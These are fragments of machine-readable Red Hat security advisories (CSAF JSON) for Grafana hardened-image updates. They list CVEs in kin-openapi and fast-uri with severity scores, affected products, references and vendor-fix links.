          "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2515006"
        },
        {
          "category": "external",
          "summary": "https://www.cve.org/CVERecord?id=CVE-2026-73501",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-73501"
        },
        {
          "category": "external",
          "summary": "https://nvd.nist.gov/vuln/detail/CVE-2026-73501",
          "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-73501"
        },
        {
          "category": "external",
          "summary": "https://github.com/getkin/kin-openapi/commit/f0407d53b0730280266f454b755010e7eeb985da",
          "url": "https://github.com/getkin/kin-openapi/commit/f0407d53b0730280266f454b755010e7eeb985da"
        },
        {
          "category": "external",
          "summary": "https://github.com/getkin/kin-openapi/releases/tag/v0.144.0",
          "url": "https://github.com/getkin/kin-openapi/releases/tag/v0.144.0"
        },
        {
          "category": "external",
          "summary": "https://github.com/getkin/kin-openapi/security/advisories/GHSA-r277-6w6q-xmqw",
          "url": "https://github.com/getkin/kin-openapi/security/advisories/GHSA-r277-6w6q-xmqw"
        }
      ],
      "release_date": "2026-08-12T21:23:40.623000+00:00",
      "remediations": [
        {
          "category": "vendor_fix",
          "date": "2026-08-24T13:13:27+00:00",
          "details": "For details on how to apply this update, which includes the changes described in this advisory, refer to:\nhttps://images.redhat.com/",
          "product_ids": [
            "Red Hat Hardened Images:grafana13-2-main@aarch64",
            "Red Hat Hardened Images:grafana13-2-main@src",
            "Red Hat Hardened Images:grafana13-2-main@x86_64"
          ],
          "restart_required": {
            "category": "none"
          },
          "url": "https://access.redhat.com/errata/RHSA-2026:59030"
        }
      ],
      "scores": [
        {
          "cvss_v3": {
            "attackComplexity": "LOW",
            "attackVector": "NETWORK",
            "availabilityImpact": "NONE",
            "baseScore": 9.1,
            "baseSeverity": "CRITICAL",
            "confidentialityImpact": "HIGH",
            "integrityImpact": "HIGH",
            "privilegesRequired": "NONE",
            "scope": "UNCHANGED",
            "userInteraction": "NONE",
            "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N",
            "version": "3.1"
          },
          "products": [
            "Red Hat Hardened Images:grafana13-2-main@aarch64",
            "Red Hat Hardened Images:grafana13-2-main@src",
            "Red Hat Hardened Images:grafana13-2-main@x86_64"
          ]
        }
      ],
      "threats": [
        {
          "category": "impact",
          "details": "Critical"
        }
      ],
      "title": "github.com/getkin/kin-openapi: kin-openapi: kin-openapi: ValidationHandler.Load() Fail-Open Authentication Bypass via NoopAuthenticationFunc Default"
    }
  ]
}

{
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      "text": "Critical"
    },
    "category": "csaf_security_advisory",
    "csaf_version": "2.0",
    "distribution": {
      "text": "Copyright \u00a9 Red Hat, Inc. All rights reserved.",
      "tlp": {
        "label": "WHITE",
        "url": "https://www.first.org/tlp/"
      }
    },
    "lang": "en",
    "notes": [
      {
        "category": "summary",
        "text": "An update for Red Hat Hardened Images RPMs is now available.",
        "title": "Topic"
      },
      {
        "category": "general",
        "text": "This update includes the following RPMs:\n\ngrafana12.4:\n  * grafana12.4-12.4.9-0.4.hum1 (aarch64, x86_64)\n  * grafana12.4-12.4.9-0.4.hum1.src (src)\n\nSecurity Fix(es):\n\ngrafana12.4:\n  * CVE-2026-73501\n  * CVE-2026-75899\n  * CVE-2026-75931\n  * CVE-2026-75975\n  * CVE-2026-76172",
        "title": "Details"
      },
      {
        "category": "legal_disclaimer",
        "text": "This content is licensed under the Creative Commons Attribution 4.0 International License (https://creativecommons.org/licenses/by/4.0/). If you distribute this content, or a modified version of it, you must provide attribution to Red Hat Inc. and provide a link to the original.",
        "title": "Terms of Use"
      }
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    "publisher": {
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        "url": "https://access.redhat.com/errata/RHSA-2026:60866"
      },
      {
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        "summary": "https://access.redhat.com/security/cve/CVE-2026-73501",
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      },
      {
        "category": "external",
        "summary": "https://access.redhat.com/security/cve/CVE-2026-75899",
        "url": "https://access.redhat.com/security/cve/CVE-2026-75899"
      },
      {
        "category": "external",
        "summary": "https://access.redhat.com/security/cve/CVE-2026-75931",
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      },
      {
        "category": "external",
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        "url": "https://access.redhat.com/security/cve/CVE-2026-75975"
      },
      {
        "category": "external",
        "summary": "https://access.redhat.com/security/cve/CVE-2026-76172",
        "url": "https://access.redhat.com/security/cve/CVE-2026-76172"
      },
      {
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        "url": "https://security.access.redhat.com/data/csaf/v2/advisories/2026/rhsa-2026_60866.json"
      }
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    "title": "Red Hat Security Advisory: Red Hat Hardened Images RPMs Security Update",
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        }
      ],
      "title": "fast-uri: fast-uri: Server-side request forgery via malformed IPv6 normalization"
    },
    {
      "cve": "CVE-2026-76172",
      "cwe": {
        "id": "CWE-76",
        "name": "Improper Neutralization of Equivalent Special Elements"
      },
      "discovery_date": "2026-08-24T10:31:12.887477+00:00",
      "ids": [
        {
          "system_name": "Red Hat Bugzilla ID",
          "text": "2521798"
        }
      ],
      "notes": [
        {
          "category": "description",
          "text": "A flaw was found in fast-uri, a software component used for parsing Uniform Resource Identifiers (URIs) in Node.js applications. This vulnerability arises from an issue in how fast-uri processes the scheme part of a URI, specifically when it contains special characters that are percent-encoded. An attacker can exploit this by crafting a malicious URI, causing the parser to misinterpret the host, which can lead to serious security risks. These risks include unauthorized redirection to external websites, server-side request forgery (SSRF) where the application makes unintended requests to internal or external resources, and bypassing security policies.",
          "title": "Vulnerability description"
        },
        {
          "category": "summary",
          "text": "fast-uri: fast-uri: URI parsing flaw enables server-side request forgery and redirects",
          "title": "Vulnerability summary"
        },
        {
          "category": "general",
          "text": "The CVSS score(s) listed for this vulnerability do not reflect the associated product\u0027s status, and are included for informational purposes to better understand the severity of this vulnerability.",
          "title": "CVSS score applicability"
        }
      ],
      "product_status": {
        "fixed": [
          "Red Hat Hardened Images:grafana12-4-main@aarch64",
          "Red Hat Hardened Images:grafana12-4-main@src",
          "Red Hat Hardened Images:grafana12-4-main@x86_64"
        ]
      },
      "references": [
        {
          "category": "self",
          "summary": "Canonical URL",
          "url": "https://access.redhat.com/security/cve/CVE-2026-76172"
        },
        {
          "category": "external",
          "summary": "RHBZ#2521798",
          "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2521798"
        },
        {
          "category": "external",
          "summary": "https://www.cve.org/CVERecord?id=CVE-2026-76172",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-76172"
        },
        {
          "category": "external",
          "summary": "https://nvd.nist.gov/vuln/detail/CVE-2026-76172",
          "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-76172"
        },
        {
          "category": "external",
          "summary": "https://cna.openjsf.org/security-advisories.html",
          "url": "https://cna.openjsf.org/security-advisories.html"
        },
        {
          "category": "external",
          "summary": "https://github.com/fastify/fast-uri/security/advisories/GHSA-jqff-g426-hqxp",
          "url": "https://github.com/fastify/fast-uri/security/advisories/GHSA-jqff-g426-hqxp"
        }
      ],
      "release_date": "2026-08-24T10:07:56.440000+00:00",
      "remediations": [
        {
          "category": "vendor_fix",
          "date": "2026-08-29T15:27:44+00:00",
          "details": "For details on how to apply this update, which includes the changes described in this advisory, refer to:\nhttps://images.redhat.com/",
          "product_ids": [
            "Red Hat Hardened Images:grafana12-4-main@aarch64",
            "Red Hat Hardened Images:grafana12-4-main@src",
            "Red Hat Hardened Images:grafana12-4-main@x86_64"
          ],
          "restart_required": {
            "category": "none"
          },
          "url": "https://access.redhat.com/errata/RHSA-2026:60866"
        }
      ],
      "scores": [
        {
          "cvss_v3": {
            "attackComplexity": "LOW",
            "attackVector": "NETWORK",
            "availabilityImpact": "NONE",
            "baseScore": 7.5,
            "baseSeverity": "HIGH",
            "confidentialityImpact": "NONE",
            "integrityImpact": "HIGH",
            "privilegesRequired": "NONE",
            "scope": "UNCHANGED",
            "userInteraction": "NONE",
            "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N",
            "version": "3.1"
          },
          "products": [
            "Red Hat Hardened Images:grafana12-4-main@aarch64",
            "Red Hat Hardened Images:grafana12-4-main@src",
            "Red Hat Hardened Images:grafana12-4-main@x86_64"
          ]
        }
      ],
      "threats": [
        {
          "category": "impact",
          "details": "Important"
        }
      ],
      "title": "fast-uri: fast-uri: URI parsing flaw enables server-side request forgery and redirects"
    }
  ]
}